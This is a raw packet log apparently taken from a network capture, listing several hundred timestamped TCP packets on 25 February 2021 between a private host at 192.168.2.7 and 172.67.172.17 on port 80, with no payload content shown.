Feb 25, 2021 15:14:52.739622116 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.740547895 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.740571022 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.740622997 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.741535902 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.741555929 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.741609097 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.742023945 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.742043018 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.742085934 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.742748022 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.742765903 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.742814064 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.743406057 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.743422031 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.743478060 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.744066954 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.744083881 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.744133949 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.744811058 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.744827986 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.744878054 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.745486975 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.745505095 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.745565891 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.746225119 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.746253967 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.746320009 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.746900082 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.746927023 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.746970892 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.747566938 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.747596025 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.747642994 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.748233080 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.748265982 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.748331070 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.749268055 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.749294043 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.749345064 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.749550104 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.749577045 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.749622107 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.750193119 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.750216961 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.750241041 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.750327110 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.751148939 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.751174927 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.751199007 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.751208067 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.751246929 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.752091885 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.752120018 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.752145052 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.752182961 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.753027916 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.753055096 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.753077984 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.753079891 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.753122091 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.753957987 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.753989935 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.754014015 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.754024982 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.754844904 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.754895926 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.755143881 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.755171061 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.755194902 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.755204916 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.756042957 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.756071091 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.756094933 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.756095886 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.756151915 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.756947041 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.756977081 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.757010937 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.757014036 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.757853031 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.757880926 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.757905960 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.757906914 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.757968903 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.758658886 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.758687019 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.758712053 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.758733988 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.759521961 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.759550095 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.759569883 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.759572983 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.759618998 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.760375023 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.760401011 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.760426044 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.760435104 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.761166096 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.761192083 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.761217117 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.761259079 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.761310101 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.761996031 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.762027025 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.762053013 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.762067080 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.762774944 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.762805939 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.762829065 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.762830973 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.762876034 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.763556004 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.763588905 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.763616085 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.763627052 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.764388084 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.764416933 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.764442921 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.764448881 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.764486074 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.765152931 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.765186071 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.765217066 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.765230894 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.765888929 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.765914917 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.765939951 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.765944004 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.765979052 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.766629934 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.766655922 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.766679049 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.766693115 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.767401934 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.767426014 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.767452002 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.767455101 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.767494917 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.768088102 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.768117905 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.768143892 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.768176079 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.768830061 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.768857956 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.768882990 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.768882990 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.768908024 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.768930912 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.769783974 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.769810915 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.769835949 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.769836903 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.769861937 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.769885063 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.770776987 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.770803928 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.770827055 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.770828009 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.770853043 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.770865917 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.771775007 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.771802902 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.771826982 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.771828890 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.771851063 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.771861076 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.772608995 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.772634983 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.772658110 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.772669077 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.772684097 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.772699118 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.773557901 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.773591995 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.773621082 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.773673058 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.773701906 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.773715019 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.774441004 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.774470091 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.774492979 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.774502039 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.774521112 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.774532080 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.775317907 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.775343895 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.775367975 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.775373936 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.775394917 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.775428057 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.776207924 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.776237011 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.776262045 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.776272058 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.776285887 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.776299953 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.777101040 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.777132034 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.777158976 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.777183056 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.777195930 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.777236938 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.778039932 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.778064966 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.778090000 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.778106928 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.778114080 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.778139114 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.778897047 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.778923035 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.778950930 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.778961897 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.778976917 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.779004097 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.779817104 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.779841900 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.779866934 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.779891968 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.779896021 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.779917002 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.780723095 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.780760050 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.780787945 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.780802965 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.780813932 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.780842066 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.781548977 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.781575918 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.781600952 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.781615019 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.781625032 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.781724930 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.782461882 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.782490969 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.782512903 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.782512903 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.782536983 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.782557011 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.783377886 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.783409119 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.783427000 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.783432961 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.783457041 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.783473015 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.784256935 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.784285069 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.784311056 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.784315109 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.784339905 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.784353018 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.785192013 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.785219908 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.785243034 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.785254002 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.785267115 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.785289049 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.785818100 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.785847902 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.785868883 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.785873890 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.785897970 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.785918951 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.785922050 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.785959959 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.786694050 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.786720991 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.786745071 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.786768913 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.786772013 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.786792040 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.786809921 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.787570000 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.787600040 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.787623882 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.787628889 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.787647009 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.787662029 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.787674904 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.787714958 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.788459063 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.788486004 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.788510084 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.788522959 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.788533926 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.788557053 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.788567066 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.789294004 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.789321899 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.789345026 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.789352894 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.789369106 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.789400101 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.789417028 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.789460897 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.790160894 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.790190935 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.790209055 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.790235996 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.790241003 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.790258884 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.790299892 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.791040897 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.791069984 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.791094065 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.791110039 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.791116953 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.791141987 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.791152954 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.791203976 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.791908026 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.791934967 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.791960955 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.791980982 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.791985989 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.792013884 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.792023897 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.793106079 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.793137074 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.793162107 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.793184996 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.793186903 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.793209076 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.793209076 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.793262005 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.794116974 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.794147968 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.794172049 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.794213057 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.796000957 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.796030998 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.796055079 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.796078920 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.796083927 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.796103001 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.796137094 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.796180010 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.797370911 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.797418118 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.797442913 CET	80	49708	172.67.172.17	192.168.2.7
